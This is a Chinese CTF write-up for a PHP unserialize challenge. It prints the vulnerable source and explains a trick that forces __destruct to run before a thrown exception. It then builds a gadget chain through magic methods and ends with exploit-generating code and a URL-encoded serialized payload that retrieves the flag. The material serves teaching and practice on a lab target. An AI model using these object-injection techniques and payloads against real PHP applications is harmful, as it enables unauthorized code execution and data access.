CTFSHOW卷王杯 easy unserialize

发布于 2022-03-16  31 次阅读


<?php
include("./HappyYear.php");
class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }


    public function __destruct() {
        @$this->object->add();
    }


    public function __toString() {
        return $this->object->string;
    }
}


class second {
    protected $filename;


    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }


    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}


class third {
    private $string;


    public function __construct($string) {
        $this->string = $string;
    }


    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}


if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}
  • __destruct函数的GC回收机制

参考链接:https://www.jianshu.com/p/d73b3ca418b0

在PHP中,没有任何变量指向这个对象时,这个对象就成为垃圾。PHP会将其在内存中销毁;这是PHP 的GC垃圾处理机制,防止内存溢出。

__destruct /unset

        __destruct() 析构函数,是在垃圾对象被回收时执行。

        unset 销毁的是指向对象的变量,而不是这个对象。

由于有这个throw存,所以$a进行反序列化的时候不会执行__destruct(),

但是如果,我们在throw之前加上一个$a=NULL,这样的话就是主动去摧毁这个类,那么在这里就会调用__destruct()。

那么这个题目绕过throw的方法就是主动去摧毁这个类。

由于反序列化时从左到右的顺序进行重构的,所以我们可以构建一个数组,第一个元素是new Demo,第二个元素的序号为0。

构造一下结构:

a:2:{i:0;O:4:"Demo":0:{}i:0;N;}

利用payload生成:

<?php
highlight_file(__FILE__);
class Demo{
    public function __destruct()
    {
        echo "destruct
";
    }
}
$n=new Demo();
$b=null;
$c=array($n,$b);
echo serialize($c);

注意:

第一个为实例化的对象,第二个为另外随便的一个值(这里赋null以外的值都可以),然后会得到a:2:{i:0;O:4:"Demo":0:{}i:1;N;},将其改为 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}也就是将第二个反序列化的序号改为0,这样就实现了对Demo这个对象的重新赋值,达到了提前是对象摧毁的效果。

  • 分析反序列化的链子

1、one::__destruct()

首先我们进入了one::__destruct()

    public function __destruct() {
        @$this->object->add();
    }

很明显,这个在这几个类的函数中没有add()

所以利用魔术方法就是__call()来调用不可访问(不存在)的方法。

那么就是:

$a=new one();

$a->object=new second();

这个时候进入second::__call()

2、second::__call()

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }

这个里面有一个自定义函数:call_user_func()函数,

参考链接:https://blog.csdn.net/u014532717/article/details/56015077

__call()函数中的两个参数,第一个指的是不可访问的变量或者函数的名称也就是add

第二个是传入的参数。

数组参数中,第一个参数是访问的类,第二个参数是访问的函数

那么这个[$this, $func."Me"]中,$this指的是second这个类,$func."Me"就很明显指的是addMe()函数

3、second::addMe()

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

$this->filename很明显是一个字符串,所以应该是调用一个__toString()方法。

这个时候需要给filename赋值,需要赋的是one::__toString()里面的值,

所以

$a->object->filename=new one();

4、one::__toString()

    public function __toString() {
        return $this->object->string;
    }

$this->object->string是调用一个类的私有属性,所以应该是__get()

$a->object->filename->object=new third($name);

5、 third::__get()

public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }

分析一下,变量var的值为  this−>name,也就是$this->string,然后调用一个方法,其中name的值不可控,var的值可以通过修改string的属性来控制,也就是说这里就能动态调用了。

梳理一下链子如下

one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe

这个时候的payload,

<?php
class one {
    public $object;
}


class second {
    public $filename;
}


class third {
    private $string;
    
    public function __construct($string) {
    $this->string = $string;
}
}}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third();

echo urlencode(serialize($a));

在本地调试,链子执行的情况正如所预期的那样,

  • one:MeMeMe中拿到flag

public function MeMeMe() {
            array_walk($this, function($fn, $prev){
                if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                    global $talk;
                    echo "$talk"."</br>";
                    global $flag;
                    echo $flag;
                }
            });
        }

array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字

在third::__get()里面怎么调用one::MeMeMe,这里使用数组调用类方法

使 $var=array('$name'=>[new one(),"MeMeMe"]); 就可以 $var[$name]=one::MeMeMe();

所以:

$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);

然后再exp里面添加上上面成员属性就可以了,这里可以看到前面那个回调函数也使用了这一方法

  • 最终的exp:

<?php
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
}


class second {
    public $filename;
}


class third {
    private $string;


     public function __construct($string) {
    $this->string = $string;
}
}}


$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);

$n=null;
$payload=array($a,$n);

echo urlencode(serialize($payload));


最后把i:1改成i:0就行了

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”